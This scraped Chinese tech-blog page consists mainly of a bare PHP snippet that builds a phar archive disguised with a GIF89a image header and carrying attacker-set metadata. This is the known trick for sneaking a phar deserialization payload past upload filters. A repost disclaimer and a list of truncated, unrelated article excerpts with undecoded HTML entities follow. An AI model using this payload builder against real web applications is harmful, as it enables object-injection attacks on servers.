$phar=new Phar('1.phar');
$phar->startBuffering(); 
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER;?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','111');
$phar->stopBuffering();




本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/618903.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ChatGPT Reply功能五大使用场景详细解析!

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;所以创建了“AI信息Gap”这个公众号&#xff0c;专注于分享AI全维度知识…

课堂练习——路由策略

需求&#xff1a;将1.1.1.0/24网段重发布到网络中&#xff0c;不允许出现次优路径&#xff0c;实现全网可达。 在R1上重发布1.1.1.0/24网段&#xff0c;但是需要过滤192.168.12.0/24和192.168.13.0/24在R2和R3上执行双向重发布 因为R1引入的域外路由信息的优先级为150&#xff…

Linux文件管理指令-001

一、文件目录 1ls ls 查看文件和目录 - a 显示指定目录下所有子目录与文件&#xff0c;包括隐藏文件 - t 显示时按修改时间(很近优先)而不是按名字排序。若文件修改时间相同&#xff0c;则 按字典顺序 - R 递归式地显示指定目录的各个子目录中的文件 - r 按字母逆序或很早…

Leetcode—946. 验证栈序列【中等】

2024每日刷题&#xff08;133&#xff09; Leetcode—946. 验证栈序列 实现代码 class Solution { public:bool validateStackSequences(vector<int>& pushed, vector<int>& popped) {int left 0;for(int i 0; i < popped.size(); i) {while(left &…

璩静事件,后生可畏

时下网络上沸沸扬扬的璩静事件&#xff0c;笔者认为这应当是事先策划好的&#xff0c;为她自己的新公司扩大声势的一种炒作方式。聪明而胆大。年轻人&#xff0c;尤其是年轻女性&#xff0c;让人深感“后生可畏”。 来百度APP畅享高清图片 【附件】 《百度副总裁璩静言论引争…

Windows 查找端口号关闭端口号关闭进程的操作流程

Windows 查找端口号关闭端口号关闭进程 8000为端口号 1.查看端口占用程序的ID号 netstat -aon|findstr "8000"比如结果是5684 2.查看ID对应的程序进程 tasklist|findstr "6884"3.关闭进程 taskkill -PID 6884 -F成功: 已终止 PID 为 5684 的进程。

深入理解C++中的Vector容器:用容器构建高效程序

文章目录 vector介绍vector常用的成员函数有关vector定义的函数vector的迭代器使用vector关于空间操作的成员函数vector的增删查改 总结 vector介绍 在C语言的库中包含有公共数据结构的实现&#xff0c;C的这个部分内容就是众所周知的STL&#xff08;标准模版库&#xff09;&a…

【递归、回溯和剪枝】全排列 子集

0.回溯算法介绍 什么是回溯算法 回溯算法是⼀种经典的递归算法&#xff0c;通常⽤于解决组合问题、排列问题和搜索问题等。 回溯算法的基本思想&#xff1a;从⼀个初始状态开始&#xff0c;按照⼀定的规则向前搜索&#xff0c;当搜索到某个状态⽆法前进时&#xff0c;回退到前…

可视化大屏:城市治理方向,三维地图那是相当震撼呀。

随着城市化进程的加快&#xff0c;城市治理变得越来越复杂&#xff0c;需要大量的数据和信息来支持决策和管理。在这个背景下&#xff0c;可视化大屏作为一种新兴的信息展示工具&#xff0c;正逐渐在城市治理中发挥着重要作用。 首先&#xff0c;可视化大屏能够将庞大的数据和信…

Linux常用软件安装(JDK、MySQL、Tomcat、Redis)

目录 一、上传与下载工具Filezilla1. filezilla官网 二、JDK安装1. 在opt中创建JDK目录2.上传JDK压缩文件到新建目录中3.卸载系统自代jdk4.安装JDK5.JDK环境变量配置6. 验证是否安装成功 三、安装MySQL1.创建mysql文件夹2.下载mysql安装压缩包3.上传到文件夹里面4. 卸载系统自带…

【数据结构(邓俊辉)学习笔记】二叉树01——二叉树表示与实现

文章目录 0.概述1.树1.1 应用1.2 有根树1.3 有序树1.4 路径环路1.5 深度 层。1.6 树的表示 2. 二叉树的概述3 二叉树实现3.1 二叉树节点3.2 二叉树节点操作接口3.3 二叉树的实现 0.概述 介绍下二叉树的表示与实现。 1.树 1.1 应用 后缀表达式。 相对于线性结构O&#xff08…

完美解决Windows10下-更换JDK环境变量后,在cmd下执行仍java -version然出现原来版本的JDK的问题

一、错误场景预演 本人欲将 JDK 1.8 通过安装包的方式升级为 JDK 22。 本地旧版本&#xff1a;1.8.0_221预升级版本&#xff1a;22.0.1 1.1、查看本地旧版本 在配置环境变量之前&#xff0c;首先我们要明确&#xff0c;本地存在旧版本&#xff0c;如果本地没有 Java&#x…

【本地部署及云化部署】

文章目录 本地部署及云化部署介绍 文章目录 文章目录一、本地部署模式二、云化部署模式总结 一、本地部署模式 需建设专业化机房&#xff0c;系统应用、前端软件全部安装到本地服务器上。需要专业的IT、网络安全、DBA、电气化工程师进行维护。近些年勒索病毒安全事件频发&am…

命令重装Linux系统,无需登录控制面板

命令重装Linux系统&#xff0c;无需登录控制面板 部分无法登录控制面板使用这个脚本 自动安装安装脚本 wget https://lyvba.com/auto.sh bash auto.sh -d 12 -v 64 -a -p $passwd \--mirror https://mirrors.ustc.edu.cn/debian/安装命令参考 # 自动安装 Debian 10 buster …

《基于GNU-Radio和USRP的雷达通信系统的实现》文献阅读

文章目录 前言一、摘要二、引言三、联合系统实施1、基本原理2、实验方案 四、软件设置1、发射机2、接收机 五、实验结果1、实验设置2、波形3、室内外对比4、不同参数的结果 六、结论七、参考文献八、论文自取九、阅读收获 前言 本文记录《基于GNU-Radio和USRP的雷达通信系统的实…

Linux下的常用基本指令

基本指令 前言一、ls 指令语法功能常用选项举例注意要点关于拼接关于 -a关于文件ls与/的联用ls与根目录ls与任意文件夹ls与常用选项与路径 ls -d与ls -ldls与ll 二、pwd命令语法功能常用选项注意要点window与Linux文件路径的区别家目录 三、cd 指令语法功能举例注意要点cd路径.…

论文AI率:检测原理是什么?该如何降低论文AI率?

我是娜姐 迪娜学姐 &#xff0c;一个SCI医学期刊编辑&#xff0c;探索用AI工具提效论文写作和发表。 上一篇介绍了10个检测AI率的在线工具。本篇来说说AI率到底是如何检测出来的&#xff1f;该如何有效降低论文的AI率&#xff1f; 和AI大模型一样&#xff0c;AI检测的核心也是…

实验0.0 Visual Studio 2022安装指南

Visual Studio 2022 是一个功能强大的开发工具&#xff0c;对于计算机专业的学生来说&#xff0c;它不仅可以帮助你完成学业项目&#xff0c;还能为你将来的职业生涯打下坚实的基础。通过学习和使用 Visual Studio&#xff0c;你将能够更高效地开发软件&#xff0c;并在编程领域…

VBA_NZ系列工具NZ07:日期录入控件

我的教程一共九套及VBA汉英手册一部&#xff0c;分为初级、中级、高级三大部分。是对VBA的系统讲解&#xff0c;从简单的入门&#xff0c;到数据库&#xff0c;到字典&#xff0c;到高级的网抓及类的应用。大家在学习的过程中可能会存在困惑&#xff0c;这么多知识点该如何组织…

在MySQL中如何创建数据库和表

创建数据库 代码格式: CREATE DATABASE (IF NOT EXISTS) 数据库名 (CHARSET utf8) 代码如下: CREATE DATABASE IF NOT EXISTS test CHARSET utf8; 运行完代码之后,右键rootlocalhost,点击刷新对象浏览器即可 注意:mysql数据库一旦创建名字不能修改&#xff0c;只能修改字符…